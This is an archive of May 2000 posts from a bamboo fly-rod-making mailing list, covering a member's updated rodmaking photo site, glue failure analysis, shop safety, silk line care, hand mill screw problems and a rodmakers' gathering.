Refurbished Website boundary="----=_NextPart_000_001E_01BFBDC0.05044680" This is a multi-part message in MIME format. ------=_NextPart_000_001E_01BFBDC0.05044680 http://www.geocities.com/penr0295/tonkin.htm I was finally able to set my rodmaking tools back up again and took a =completely new set of images to illustrate the rodmaking process at my =website (url above). It is probably of interest primarily for those on =the list who are new to the process. I figured that after four years or =so the site could stand updating, and a digital camera made the process =a lot easier than using a 35mm camera and a flatbed scanner when I did =the site originally. Images are a little sharper now too, and probably =better composed. Thomas C. Penrose ------=_NextPart_000_001E_01BFBDC0.05044680 http://www.geocitie=s.com/penr0295/tonkin.htm I was finally able to set my rodmaking= up again and took a completely new set of images to illustrate the = four years or so the site could stand updating, and a digital camera = process a lot easier than using a 35mm camera and a flatbed scanner when= better composed. Thomas C. =Penrose ------=_NextPart_000_001E_01BFBDC0.05044680-- from nobler@satx.rr.com Sun May 14 18:52:30 2000 SMTPSVC(5.5.1877.357.35);Sun, 14 May 2000 18:39:39 -0500 Subject: Re: Refurbished Website That is just outstanding work Thomas ! I don't think it could be shown anymore clearly ! GMA----- Original Message ----- Subject: Refurbished Website http://www.geocities.com/penr0295/tonkin.htm I was finally able to set my rodmaking tools back up again and took acompletely new set of images to illustrate the rodmaking process at mywebsite (url above). It is probably of interest primarily for those on thelist who are new to the process. I figured that after four years or so thesite could stand updating, and a digital camera made the process a loteasier than using a 35mm camera and a flatbed scanner when I did the siteoriginally. Images are a little sharper now too, and probably bettercomposed. Thomas C. Penrose from darrell@rockclimbing.org Sun May 14 19:20:38 2000 sims.3.5.2000.01.05.12.18.p9)with SMTP id for Subject: RE: Refurbished Website boundary="----=_NextPart_000_000C_01BFBDC8.A08D8000" This is a multi-part message in MIME format. ------=_NextPart_000_000C_01BFBDC8.A08D8000 An excellent job indeed! Darrellwww.vfish.net-----Original Message-----From: owner- rodmakers@wugate.wustl.edu PenroseSent: Sunday, May 14, 2000 4:18 PM Subject: Refurbished Website http://www.geocities.com/penr0295/tonkin.htm I was finally able to set my rodmaking tools back up again and took acompletely new set of images to illustrate the rodmaking process at mywebsite (url above). It is probably of interest primarily for those on thelist who are new to the process. I figured that after four years or so thesite could stand updating, and a digital camera made the process a loteasier than using a 35mm camera and a flatbed scanner when I did the siteoriginally. Images are a little sharper now too, and probably bettercomposed. Thomas C. Penrose ------=_NextPart_000_000C_01BFBDC8.A08D8000 excellent job indeed! Darrellwww.vfish.net PenroseSent: Sunday, May 14, 2000 4:18 rodmakersSubject: RefurbishedWebsitehttp://www.geocitie=s.com/penr0295/tonkin.htm I was finally able to set my = up again and took a completely new set of images to illustrate the = four years or so the site could stand updating, and a digital camera = process a lot easier than using a 35mm camera and a flatbed scanner = better composed. Penrose ------=_NextPart_000_000C_01BFBDC8.A08D8000-- from HomeyDKlown@worldnet.att.net Sun May 14 19:36:08 2000 (InterMail vM.4.01.02.39 201-229-119-122) with ESMTP ;Mon, 15 May 2000 00:35:28 +0000 Subject: Re: Refurbished Website Thomas, You have once again outdone yourself. Great work on an excellent site! Dennis Thomas C Penrose wrote: http://www.geocities.com/penr0295/tonkin.htm I was finally able to set my rodmaking tools back up again and took acompletely new set of images to illustrate the rodmaking process at mywebsite (url above). It is probably of interest primarily for thoseon the list who are new to the process. I figured that after fouryears or so the site could stand updating, and a digital camera madethe process a lot easier than using a 35mm camera and a flatbedscanner when I did the site originally. Images are a little sharpernow too, and probably better composed. Thomas C. Penrose from pmgoodwin@earthlink.net Sun May 14 19:51:34 2000 Subject: Post mortum on the destroyed section This morning I went back and took a look at the rod section. No little elvescame in the night and made everything better. So I started picking throughthe pieces. I started by looking at the broken section. At the point where the blankfinally broke the ends were reduced to a bundle of fibers. Following thesplintering up to the undamaged section the splits are only in the face andnot on the glued edge. Looking back at the bushy end I see clumps of fibersthat were the glued edges. I used probond polyurethane glue and it held upwell. I then took the remains over to the bandsaw and started slicing. Thesplintering of the bamboo was between the glue lines and my planingformsmakes a consistant 60* strip. So I'm pretty happy with the forms and theglue. I save the remaining sound sections to use for wrapping different colorsilkor different finishes or something useful. I then unwraped the tip I had glued up just prior to the incident. Againstraight and no lines. After, scraping the enamel off I decide to try alittle accelerated life testing. Rather than try to match the color in theoven I decided to build a whole new rod and I'll have a spare tip if itsurvives. I hold the two ends and start bending the rod. it easily bends to 90* andsnaps (poor choice of words) back into line. I kept flexing it further andfurther. Still no failures out at 135* or so. The tip was getting closer tobeing a loop than a straight line. In the end I found: 1) I should stop procrastinating and build the lathe/wrapping stand I'vebeen thinking about. 2) the probond held up quited admirably. Granted it was done two daysearlier. Anybody have any longer term experience? 3) It really is pretty easy to build a rod. It's a lot easier to destroyone. Paul BTW: while I was doing this I was roasting 18 more strips in the oven. Imaystill have a rod on memorial day. from flytyr@southshore.com Sun May 14 20:03:00 2000 Subject: Re: Refurbished Website boundary="------------63921C89035517E1EE7835C0" --------------63921C89035517E1EE7835C0 Tom,You just did me a favor. A friend back east wantedme to take shots of the rod making steps. Yousaved me the trouble of doing it. I just Fwd yourmessage to him. There is no way I could of donebetter.Great site.Thanks,Tony FlyTyr@southshore.comThomas C Penrose wrote: http://www.geocities.com/penr0295/tonkin.htm Iwas finally able to set my rodmaking tools backup again and took a completely new set of imagesto illustrate the rodmaking process at mywebsite (url above). It is probably of interestprimarily for those on the list who are new tothe process. I figured that after four years orso the site could stand updating, and a digitalcamera made the process a lot easier than usinga 35mm camera and a flatbed scanner when I didthe site originally. Images are a littlesharper now too, and probably bettercomposed. Thomas C. Penrose --------------63921C89035517E1EE7835C0 Tom,You just did me a favor. A friend back east wanted me to take shotsof the rod making steps. You saved me the trouble of doing it. I just Fwdyour message to him. There is no way I could of done better.Great site.Thanks,Tony FlyTyr@southshore.comThomas C Penrose wrote: was finally able to set my rodmaking tools back up again and took acompletelynew set of images to illustrate the rodmaking process at my website (url the site could stand updating, and a digital camera made the process alot easier than using a 35mm camera and a flatbed scanner when I did the C. Penrose --------------63921C89035517E1EE7835C0-- from ernie2@pacbell.net Sun May 14 20:04:43 2000 sims.3.5.2000.01.05.12.18.p9)with SMTP id for Subject: Re: Refurbished Website Good pictures Thomas, they did take a while to load.Ernie from nobler@satx.rr.com Sun May 14 20:15:37 2000 SMTPSVC(5.5.1877.357.35);Sun, 14 May 2000 20:16:45 -0500 Subject: Re: Post mortum on the destroyed section I have now repaired separated sections in tips, mids and butt sections,plusa broken Heddon casting rod butt. All of this with ProBond poly - u. So farI can't say enough good about it, and will use it on future projects, whereI would have once mixed epoxy. I have also installed ferrules with it, soI'll soon test this glue in about all the critical situations in rodmaking....fishing, where it counts. Paul's experience, while tragic, tells aconfirming tale of the most important thing, in that the joints held ! GMA----- Original Message ----- Subject: Post mortum on the destroyed section This morning I went back and took a look at the rod section. No littleelvescame in the night and made everything better. So I started pickingthroughthe pieces. I started by looking at the broken section. At the point where the blankfinally broke the ends were reduced to a bundle of fibers. Following thesplintering up to the undamaged section the splits are only in the faceandnot on the glued edge. Looking back at the bushy end I see clumps offibersthat were the glued edges. I used probond polyurethane glue and it heldupwell. I then took the remains over to the bandsaw and started slicing. Thesplintering of the bamboo was between the glue lines and my planingformsmakes a consistant 60* strip. So I'm pretty happy with the forms and theglue. I save the remaining sound sections to use for wrapping different colorsilkor different finishes or something useful. I then unwraped the tip I had glued up just prior to the incident. Againstraight and no lines. After, scraping the enamel off I decide to try alittle accelerated life testing. Rather than try to match the color in theoven I decided to build a whole new rod and I'll have a spare tip if itsurvives. I hold the two ends and start bending the rod. it easily bends to 90* andsnaps (poor choice of words) back into line. I kept flexing it further andfurther. Still no failures out at 135* or so. The tip was getting closertobeing a loop than a straight line. In the end I found: 1) I should stop procrastinating and build the lathe/wrapping stand I'vebeen thinking about. 2) the probond held up quited admirably. Granted it was done two daysearlier. Anybody have any longer term experience? 3) It really is pretty easy to build a rod. It's a lot easier to destroyone. Paul BTW: while I was doing this I was roasting 18 more strips in the oven. Imaystill have a rod on memorial day. from avyoung@iinet.net.au Sun May 14 22:47:57 2000 +0800 +0800 Subject: Re: shop safety 3.Never operate sharp tools while under the influence. Just a sec I need arefill....;^) No offense Mr. Young! Steady on old man! I could only have been under the influence of coughmixtureI made myself. It's a mix of honey, lemon and ...well maybe your're right.But you do make a good point. Alcohol and machinery driven or used don'tmixand it's somethink I never do.My *serious* list of never nevers is: 1) Don't drink before using machinery or even if I'm trying to planedecentstrips.2) Wear eye protection whenever you use anything that is pluged into apower point.3) Wear a mask when turning wood4)` Don't talk to people when using power machinery.5) Keep your work area un cluttered. Clear the swarf often. A flayingpieceof swarf caught in the job can be like a flying razor.6) ONLY use sharp cutters of what ever it is that's cutting (plane irons,chisels etc, cutter etc).7) Don't daydream while operating machinery (the fish will still betherebut bits of you may not if you're not careful)8) Take warnings on labels of chemicals seriously9) Wear appropriate clothing and foot wear. Roll up your sleeves orbuttonthem up if working around lathes, you'd be mad to be wearing a tieanyhowbut tuck it into your shirt if you must. Loose clothing will cause aproblemone day if you try your luck often enough. It can only take a sneeze!10) Ensure you have good lighting.11) Stop work before you become fatigued. Noisy, vibrating machinerywillcause fatigue a lot faster than smooth running gear. Tony /*************************************************************************/AV Young Visit my web site at: www.iinet.net.au/~avyoung/flyrod.html And this our life, exempt from public haunt,Finds tongues in trees, books in running brooks,Sermons in stones, and good in everything. William Shakespeare, As You Like It /*************************************************************************/ from jwt4639@ritvax.isc.rit.edu Mon May 15 06:40:34 2000 with ESMTPA id forrodmakers@wugate.wustl.edu; Mon, 15 May 2000 07:40:27 EDT Subject: Wooden Forms - Bolts Thanks to all who replied to my question about the bolts to use in theplaning forms. Especially Ed and Ray ,Jim T from richard.nantel@videotron.ca Mon May 15 07:58:16 2000 Internet Mail Serversims.3.5.1999.12.14.10.29.p8)with SMTP id forrodmakers@wugate.wustl.edu; Mon, 15 May 2000 08:55:59 Subject: Silk line bonanza part 3 OK. The silk lines have been cleaned and only need one more coat ofvarnish/tung oil mixture and bit of polishing. How often do silk lines needto be cleaned, stripped and re-varnished? Once a season? More? Thanks, Richard from jeremy@goflyfishing.com Mon May 15 12:38:23 2000 0000 ) Subject: Western Rodmakers Gathering in Bishop I've been off list for a while and was wondering if Chuck is planning onhosting the Rodmakers Gathering in Bishop again this year and when itwillbe held. I went last year and had a blast. I would like to tie it in witha fishing expedition on the East Walker and Kerman Lake. October wouldbegreat except for Halloween weekend (little goblins at home wouldn't allowthat 2 years in a row). Jeremy GrayNevada City Anglers from jwt4639@ritvax.isc.rit.edu Mon May 15 12:46:19 2000 with ESMTPA id forrodmakers@wugate.wustl.edu; Mon, 15 May 2000 13:46:13 EDT Subject: 60* lathe tool Can anyone give me the make and model no. of the 60* lathe tool used tocut the groove in the wood planing forms. I looked in the MSC catalogand there are so many ..duh !!!!! Thanks,Jim Tefft from stpete@netten.net Mon May 15 14:21:37 2000 Mon, 15 May 2000 14:19:01 -0500 Subject: Re: 60* lathe tool Jim, A cheap Chinese made carbide tipped bit is fine. They should run youabout 3- 5 dollars each. Get a 3/8" to 1/2", don't go smaller! I madethe jig with a router bit, so you might buy the lathe tool the same sizeas the router bit you use to cut the slot for the jig. Really, you should try to locate a local source for this stuff. Freightalone will can cost as much as the tool. Call a local machine shop orlook in the yellow pages under "toolroom supplies", "shop supplies","metalworking supplies", etc. Rick C. Jim Tefft wrote: Can anyone give me the make and model no. of the 60* lathe tool used tocut the groove in the wood planing forms. I looked in the MSC catalogand there are so many ..duh !!!!! Thanks,Jim Tefft from stuart.rod@gmx.de Mon May 15 14:52:04 2000 (149.225.68.169) Subject: PHY Midge Good evening everybody, Which is the correct PHY Midge taper, the jack Howell version or theRodmakers taper archive version? Both are listed without varnish (Ipresume) and I'm not sure which one is right. I expect this has come upbefore and I'm sorry if it is becoming repetative. Also how do I change the taper line weight from 4 to 5 using Hexrod(excel version), or do I not have to change a thing to fish a 5 weightwith the correct taper. Thanks Stuart from darrell@rockclimbing.org Mon May 15 15:08:46 2000 sims.3.5.2000.01.05.12.18.p9)with SMTP id for Subject: RE: Western Rodmakers Gathering in Bishop Hi Jeremy, Yes, tenatively, the Bishop Gathering is set for October 20-22 until orunless we find that it conflicts with another gathering. So far, no one hassaid so... so anyone interested can go to the Bishop Rod Makers Gathering Page atwww.vfish.net/gwgathering.htm and you can self subscribe or unsubscribe.Itis like the RM Listserv in that anyone who subscribes can send messagestoall the others so that we can all keep in touch, arrange ridesharing andhelp prepare for the event. I hope a few will sign up and send a testmessage so I will know that it works... The agenda, directions and general info will be added to this page in thefuture so please bookmark this page as it will contain the info needed forthose who wish to participate down the road. This page also contains the pictures from last years gathering... My only suggestion at this time is that we might want to plan a day to donothing but FISH! Well, fish and drink... not necessarily in that order...What do you think Tony Y? I guess you are being hailed as the lush of thelist... Tom Smithwick, you would have been proud of our chili... while not of themega proportions as yours in Boiling Springs, PA it was all quite tasty! If there are any companies interested in donating a prize or participatingin this gathering, please contact me off list. Regards, Darrell Leewww.vfish.net -----Original Message----- Subject: Western Rodmakers Gathering in Bishop I've been off list for a while and was wondering if Chuck is planning onhosting the Rodmakers Gathering in Bishop again this year and when itwillbe held. I went last year and had a blast. I would like to tie it in witha fishing expedition on the East Walker and Kerman Lake. October wouldbegreat except for Halloween weekend (little goblins at home wouldn't allowthat 2 years in a row). Jeremy GrayNevada City Anglers from darrell@rockclimbing.org Mon May 15 15:39:54 2000 sims.3.5.2000.01.05.12.18.p9)with SMTP id for Subject: RE: Western Rodmakers Gathering in Bishop - Cork group order RODMAKERS@wugate.wustl.edu Sorry wrong URL... The correct one is www.vfish.net/gwbishop.htm RE: Group cork order, have received everyone's payment, there's an extra500rings if anyone is interested. I'll be picking up the rings probably nextweek or so and then will ship. Darrell -----Original Message----- Subject: RE: Western Rodmakers Gathering in Bishop Hi Jeremy, Yes, tenatively, the Bishop Gathering is set for October 20-22 until orunless we find that it conflicts with another gathering. So far, no one hassaid so... so anyone interested can go to the Bishop Rod Makers Gathering Page atwww.vfish.net/gwgathering.htm and you can self subscribe or unsubscribe.Itis like the RM Listserv in that anyone who subscribes can send messagestoall the others so that we can all keep in touch, arrange ridesharing andhelp prepare for the event. I hope a few will sign up and send a testmessage so I will know that it works... The agenda, directions and general info will be added to this page in thefuture so please bookmark this page as it will contain the info needed forthose who wish to participate down the road. This page also contains the pictures from last years gathering... My only suggestion at this time is that we might want to plan a day to donothing but FISH! Well, fish and drink... not necessarily in that order...What do you think Tony Y? I guess you are being hailed as the lush of thelist... Tom Smithwick, you would have been proud of our chili... while not of themega proportions as yours in Boiling Springs, PA it was all quite tasty! If there are any companies interested in donating a prize or participatingin this gathering, please contact me off list. Regards, Darrell Leewww.vfish.net -----Original Message----- Subject: Western Rodmakers Gathering in Bishop I've been off list for a while and was wondering if Chuck is planning onhosting the Rodmakers Gathering in Bishop again this year and when itwillbe held. I went last year and had a blast. I would like to tie it in witha fishing expedition on the East Walker and Kerman Lake. October wouldbegreat except for Halloween weekend (little goblins at home wouldn't allowthat 2 years in a row). Jeremy GrayNevada City Anglers from CAIrvinerods@aol.com Mon May 15 16:54:50 2000 Subject: Re: Western Rodmakers Gathering in Bishop Jeremy, You bet, plan to have it in Oct. and am kinda waiting for Ray Gould to find out which weekend the Husky's do not play in Seattle. He graciously saidthat he would be a speaker but not when the Husky's play at home. CarlStanziowe, who attended last year, has come up with an impregnating tank and plansto talk about that. I will try and pass on some of the new techniques demonstrated at Corbett Lake this and will have a few more speakers whohave not committed yet. If any one out there is interested, holler. Tight Lines to all, Chuck from tklein@amgen.com Mon May 15 17:31:30 2000 smtp.amgen.com via smap (V4.2) (5.5.2448.0) Subject: RE: Western Rodmakers Gathering in Bishop Why would he care about October? The Husky season will be over by the end of the day September 16th! (sorry Ray, it's a Colorado/Neuheisel thing... I just couldn't resist)---Tim ----------From: CAIrvinerods@aol.com[SMTP:CAIrvinerods@aol.com] Sent: Monday, May 15, 2000 3:54 PM Subject: Re: Western Rodmakers Gathering in Bishop Jeremy, You bet, plan to have it in Oct. and am kinda waiting for Ray Gould tofind out which weekend the Husky's do not play in Seattle. He graciously saidthat he would be a speaker but not when the Husky's play at home. CarlStanziowe, who attended last year, has come up with an impregnating tank and plansto talk about that. I will try and pass on some of the new techniques demonstrated at Corbett Lake this and will have a few more speakerswhohave not committed yet. If any one out there is interested, holler. Tight Lines to all, Chuck from ChristopherO@epicrad.com Mon May 15 17:47:45 2000 rodmakers@wugate.wustl.eduSubject: RE: Post mortum on the destroyed section save the undamaged hex section. it makes beautiful handles for smalltoolslike fly tying bodkins, whip finnishers etc.or, if you have a decent lathe, you can turn it into a pen stock for thefanciest ball point on the block. just a few thoughts. chris -----Original Message----- Subject: Post mortum on the destroyed section This morning I went back and took a look at the rod section. No little elvescame in the night and made everything better. So I started picking throughthe pieces. I started by looking at the broken section. At the point where the blankfinally broke the ends were reduced to a bundle of fibers. Following thesplintering up to the undamaged section the splits are only in the face andnot on the glued edge. Looking back at the bushy end I see clumps of fibersthat were the glued edges. I used probond polyurethane glue and it held upwell. I then took the remains over to the bandsaw and started slicing. Thesplintering of the bamboo was between the glue lines and my planingformsmakes a consistant 60* strip. So I'm pretty happy with the forms and theglue. I save the remaining sound sections to use for wrapping different colorsilkor different finishes or something useful. I then unwraped the tip I had glued up just prior to the incident. Againstraight and no lines. After, scraping the enamel off I decide to try alittle accelerated life testing. Rather than try to match the color in theoven I decided to build a whole new rod and I'll have a spare tip if itsurvives. I hold the two ends and start bending the rod. it easily bends to 90* andsnaps (poor choice of words) back into line. I kept flexing it further andfurther. Still no failures out at 135* or so. The tip was getting closer tobeing a loop than a straight line. In the end I found: 1) I should stop procrastinating and build the lathe/wrapping stand I'vebeen thinking about. 2) the probond held up quited admirably. Granted it was done two daysearlier. Anybody have any longer term experience? 3) It really is pretty easy to build a rod. It's a lot easier to destroyone. Paul BTW: while I was doing this I was roasting 18 more strips in the oven. Imaystill have a rod on memorial day. from rcurry@ttlc.net Mon May 15 17:58:08 2000 (SMTPD32-6.00) id A20F175E0096; Mon, 15 May 2000 19:02:39 -0400 Subject: Re: Silk line bonanza part 3 Richard,That depends on use. With moderate use you would only need to clean insoapand water and apply another coat of tung oil/varnish every two years. Theonlyreason to strip it down again would be if it got sticky, but that is unlikelywith the modern varnishes.Best regards,Reed Richard Nantel wrote: OK. The silk lines have been cleaned and only need one more coat ofvarnish/tung oil mixture and bit of polishing. How often do silk linesneedto be cleaned, stripped and re-varnished? Once a season? More? Thanks, Richard from BambooRods@aol.com Mon May 15 20:25:30 2000 Subject: Handmill Question (anvil screws) Can anyone comment on the hold down screws bending during planing. Itwould sound as if I am attempting to take to much bamboo at a time but I findthat over a period of planing "gently" I still find some bend in the screw. Anyone else have this experience?Doug from cbogart@shentel.net Mon May 15 20:48:03 2000 (InterMail vM.4.01.02.00 201-229-116) with SMTP ;Mon, 15 May 2000 18:47:50 -0700 "richard.nantel@videotron.ca" (4.10.1998) Subject: Re: Silk line bonanza part 3 Richard Cleaned - depends on how often you fish but once a year is good enough for most people. as for stripped and re-varnish:Once a lifetime if you do not mistreat them. Chris On Mon, 15 May 2000 08:15:49 -0400, Richard Nantel wrote: OK. The silk lines have been cleaned and only need one more coat ofvarnish/tung oil mixture and bit of polishing. How often do silk lines needto be cleaned, stripped and re-varnished? Once a season? More? Thanks, Richard from channer1@rmi.net Mon May 15 21:12:34 2000 Subject: Re: PHY Midge stuart moultrie wrote: Good evening everybody, Which is the correct PHY Midge taper, the jack Howell version or theRodmakers taper archive version? Both are listed without varnish (Ipresume) and I'm not sure which one is right. I expect this has come upbefore and I'm sorry if it is becoming repetative. Also how do I change the taper line weight from 4 to 5 using Hexrod(excel version), or do I not have to change a thing to fish a 5 weightwith the correct taper. Thanks StuartStuart;They're both right, just different versions of the same model. Betweenrodmakers changing their tapers from time to time and the vagaries ofthe machines, the help, the viscosity of the glue, the pressure of thebinder, ad nauseum, no 2 rods ever seem to measure the same. Can't helpyou with excel, I use Frank Stetzer's Web Interface to Hexrod, it is soeasy it almost does it for you.John from DNHayashida@aol.com Mon May 15 22:22:31 2000 Subject: Re: Handmill Question (anvil screws) Are you planing wet or dry? I found there is much less force requiredif planing wet.Darryl Can anyone comment on the hold down screws bending during planing. It would sound as if I am attempting to take to much bamboo at a time but I find that over a period of planing "gently" I still find some bend in the screw. Anyone else have this experience?Doug from Nodewrrior@aol.com Mon May 15 22:52:11 2000 Subject: Re: Handmill Question (anvil screws) 7bit It happens to me too, particularly on the longer tip screws. I assume it's because I'm always too agggressive. Rob Hoffhines from Bamboomaker@aol.com Tue May 16 00:40:05 2000 Subject: Re: Handmill Question (anvil screws) Doug, I have that problem only when I try planing too much material off at atime while roughing strips out. It especially gets worse at the nodes if they weren't prepared well enough. If you plane the diaphragm part of thenodes flush, it minimizes the 'hang up'. Try planing wet cane. it also helps quite a bit. The mill is planing both sides at the same time, so sometimes I have to remind myself that you don't have to finish a rough strip in a 60 seconds. Regards, Mark Mark C. Lee, M.D.Rochester, MN from danny.twang@porsgrunnsdagblad.no Tue May 16 05:45:22 2000 "rodmakers@wugate.wustl.edu" Subject: Silkline Reed, A few question about silk line. How can I find out if my old silk line is oiled or "enameled"? As I'vetold You before, I found thisline on a old reel, and it was very sticky, the color was green, and itappear like "new".After I rubbed it between my finger, I managed to get it slick andsmooth. I measured it to be aHEH line, perfect for my rod's based on PHY tapers. But when I read Your article, I began to think of when I was making theloop.I "stripped" the coating and it was on the "top" of the braided silk,not "in" it. It felt almost likestripping PVC line. Under the "coating" the silk was dry.If it is a "enameled" silk lines, will it be possible to strip it, andtreat it with oil/varnish? Best regardsdanny from richard.nantel@videotron.ca Tue May 16 06:57:46 2000 Internet Mail Serversims.3.5.1999.12.14.10.29.p8)with SMTP id forrodmakers@wugate.wustl.edu; Tue, 16 May 2000 07:57:41 Subject: RE: Silk line bonanza part 3 Thanks, Chris. Richard -----Original Message----- Sent: Monday, May 15, 2000 8:24 PM Subject: Re: Silk line bonanza part 3 Richard Cleaned - depends on how often you fish but once a year is good enough for most people. as for stripped and re-varnish:Once a lifetime if you do not mistreat them. Chris On Mon, 15 May 2000 08:15:49 -0400, Richard Nantel wrote: OK. The silk lines have been cleaned and only need one more coat ofvarnish/tung oil mixture and bit of polishing. How often do silk lines needto be cleaned, stripped and re-varnished? Once a season? More? Thanks, Richard from sniderja@email.uc.edu Tue May 16 07:16:35 2000 Subject: Re: Handmill Question (anvil screws) Contact me off line and I will discuss it with you.J. Snider At 09:24 PM 05/15/2000 -0400, BambooRods@aol.com wrote:Can anyone comment on the hold down screws bending during planing. Itwould sound as if I am attempting to take to much bamboo at a time but I findthat over a period of planing "gently" I still find some bend in the screw. Anyone else have this experience?Doug from Dean_Burrill@McAfee.com Tue May 16 10:25:59 2000 16 08:28:32 2000 -0700 (5.5.2650.21) rodmakers@wugate.wustl.eduSubject: RE: Handmill Question (anvil screws) Why offline? Those of us considering a hand mill purchase would like tohear all this. This is the first negative discussion I've seen about themill. How big a problem is this? Is this the screw that holds the strip iplace, or the screws that hold the anvil in place? Once they bend do youneed to replace them? Does this happen after 1 strip or 1 rod? -----Original Message----- Subject: Re: Handmill Question (anvil screws) Contact me off line and I will discuss it with you.J. Snider At 09:24 PM 05/15/2000 -0400, BambooRods@aol.com wrote:Can anyone comment on the hold down screws bending during planing. Itwould sound as if I am attempting to take to much bamboo at a time but I findthat over a period of planing "gently" I still find some bend in the screw. Anyone else have this experience?Doug from Patrick.Coffey@PSS.Boeing.com Tue May 16 10:32:45 2000 KAA07852 ESMTP; Tue, 16 May 2000 08:32:21 -0700 (5.5.2650.21) rodmakers@wugate.wustl.edu,"'Dean_Burrill@McAfee.com'" Subject: RE: Handmill Question (anvil screws) sounds like the hold down screw was not tight enough and maybe planingoff to much with each pass. Have nothad any problems what so ever with my mill. Patrick W. CoffeyAOG Incident Repair PlanningPhone: 425-234-2901Fax: 425-237-0083M-2112 M/C 61-79 ----------From: Burrill, Dean[SMTP:Dean_Burrill@McAfee.com] Sent: Tuesday, May 16, 2000 8:23 AM rodmakers@wugate.wustl.eduSubject: RE: Handmill Question (anvil screws) Why offline? Those of us considering a hand mill purchase would like tohear all this. This is the first negative discussion I've seen about themill. How big a problem is this? Is this the screw that holds the strip iplace, or the screws that hold the anvil in place? Once they bend do youneed to replace them? Does this happen after 1 strip or 1 rod? -----Original Message----- Sent: Tuesday, May 16, 2000 5:18 AM Subject: Re: Handmill Question (anvil screws) Contact me off line and I will discuss it with you.J. Snider At 09:24 PM 05/15/2000 -0400, BambooRods@aol.com wrote:Can anyone comment on the hold down screws bending during planing. Itwould sound as if I am attempting to take to much bamboo at a time but I findthat over a period of planing "gently" I still find some bend in the screw. Anyone else have this experience?Doug from steve@hamiltonrods.com Tue May 16 10:34:44 2000 codemarine.209.170.128.193 with SMTP (MicrosoftExchange Internet Mail Service Version 5.5.2448.0) Subject: Re: Handmill Question (anvil screws) Indeed. I also hope to one day be rich and famous enough to afford a handmill, so I'm quite interested inanything other builders have to say about it (both good and bad). --Steve ----- Original Message ----- Subject: RE: Handmill Question (anvil screws) Why offline? Those of us considering a hand mill purchase would like tohear all this. This is the first negative discussion I've seen about themill. How big a problem is this? Is this the screw that holds the strip iplace, or the screws that hold the anvil in place? Once they bend do youneed to replace them? Does this happen after 1 strip or 1 rod? from briansr@point-net.com Tue May 16 10:54:35 2000 Subject: Reels Would anyone that has knowledge of baitsasting reels contact me off lineTIA Brian from LambersonW@missouri.edu Tue May 16 10:58:38 2000 (5.5.2650.21) sniderja@email.uc.edu, BambooRods@aol.com,rodmakers@wugate.wustl.eduSubject: RE: Handmill Question (anvil screws) I have had the experience of bending the screws a couple of times. I havebuilt about 20 rods on the Mill, so it isn't a big problem. I have only hadthe problem with screws for tip strips which is logical because they aresmaller. Also, the pan headed screws for the butt strips have supportfromthe head so are not only less likely to bend because of support from thehead, but the strip is also less likely to split. It would be useful tohave that type of screw for both butts and tips. To correct the problem Isuggest that you use a utility knife to remove pith to make the stripthinner above the hole for the hold-down screw. It doesn't need to be verythick, 3/16 or even 1/8 of an inch is probably enough. With the sectionthinner, less of the hold down screw is extended above the anvil and thereis less sideways force on it. You might also investigate getting a drillbit that is a bit smaller. Any play of the screw in the hole will increasethe problem. I think if you check the numbered bits you will be able tofind one that is a bit smaller, yet will still drill a hole large enough topermit the screw to go through. Bill Lamberson -----Original Message----- rodmakers@wugate.wustl.eduSubject: RE: Handmill Question (anvil screws) Why offline? Those of us considering a hand mill purchase would like tohear all this. This is the first negative discussion I've seen about themill. How big a problem is this? Is this the screw that holds the strip iplace, or the screws that hold the anvil in place? Once they bend do youneed to replace them? Does this happen after 1 strip or 1 rod? -----Original Message----- Subject: Re: Handmill Question (anvil screws) Contact me off line and I will discuss it with you.J. Snider At 09:24 PM 05/15/2000 -0400, BambooRods@aol.com wrote:Can anyone comment on the hold down screws bending during planing. Itwould sound as if I am attempting to take to much bamboo at a time but I findthat over a period of planing "gently" I still find some bend in the screw. Anyone else have this experience?Doug from DNHayashida@aol.com Tue May 16 10:59:20 2000 Subject: Re: Handmill Question (anvil screws) Yes, I have had the problem of the hold down screwsbending. No, they don't have to be replaced if theybend. A little careful straightening and they are asgood as new. Making sure the screw is tight, andchecking the tightness periodically helps a lot.I wouldn't classify this as a major problem with theHandmill, just a minor annoyance.Darryl from stpete@netten.net Tue May 16 11:26:13 2000 Subject: Handmill Survey All this discussion on the Handmill has me feeling quite deprived. Withthat in mind, how many of you who own a handmill would be willing to letus know? I'd be interested in how many handmill owners are on the list.Just curious - I'm strictly amateur, but wonder if I am missing out onthe best thing since sliced bread. If you own a handmill, would you respond to this message to meprivately? I'll post the final tally, but not the owner's names. Idon't believe this could be used for any unethical purposes, but if anyof you feel this is out of line, let me know that as well. Rick C. from sniderja@email.uc.edu Tue May 16 11:26:31 2000 rodmakers@wugate.wustl.edu Subject: RE: Handmill Question (anvil screws) I love my hand mill. I simply didn't want to tie up space for non-millusers. Tom Morgan is fantastic, and has come up with a simply marvelousdevice. J. Snider At 08:23 AM 05/16/2000 -0700, Burrill, Dean wrote:Why offline? Those of us considering a hand mill purchase would like tohear all this. This is the first negative discussion I've seen about themill. How big a problem is this? Is this the screw that holds the strip iplace, or the screws that hold the anvil in place? Once they bend do youneed to replace them? Does this happen after 1 strip or 1 rod? -----Original Message----- Sent: Tuesday, May 16, 2000 5:18 AM Subject: Re: Handmill Question (anvil screws) Contact me off line and I will discuss it with you.J. Snider At 09:24 PM 05/15/2000 -0400, BambooRods@aol.com wrote:Can anyone comment on the hold down screws bending during planing. Itwould sound as if I am attempting to take to much bamboo at a time but I findthat over a period of planing "gently" I still find some bend in the screw. Anyone else have this experience?Doug from FISHWOOL@aol.com Tue May 16 11:45:47 2000 Subject: Re: Multipiece rods and hot melt glue for ferrules Darryl,I've used Gudebrod hot melt to set the ferrules on one rod. No ill effects so far (one year, only). One concern is that the swelling and shrinking may loosen the ferrules over time. We can compare notes.Hank. from FISHWOOL@aol.com Tue May 16 11:45:57 2000 Subject: Re: Thin vs. Thick finish Chris,Correct me if I'm wrong, but isn't a parabolic fast in the tip with a short line and slower as the line lengthens? Adding varnish to the tipwould slow the action over all, I believe.Just an old farm boy's $.02. :-)Hank. from sniderja@email.uc.edu Tue May 16 11:48:07 2000 "'Dean_Burrill@McAfee.com'" ,BambooRods@aol.com, rodmakers@wugate.wustl.edu Subject: RE: Handmill Question (anvil screws) Guys. I simply ordered several HUNDRED!! screws of the two differentsizes from Small Parts, Inc. for just a few bucks. Now that I have them, Ihaven't bent another screw! For me, I believe that I was having troublewith bending screws because I was trying to plane too close to the screw,and as the instruction book says this is an area where it is difficult toget good leverage for milling, so one usually makes several passes in thisregion. I now simply extend the strip a couple of inches and simply don'tworry about the distance right in front of the hold down screw. Of course,I make mostly short rods and length isn't a problem 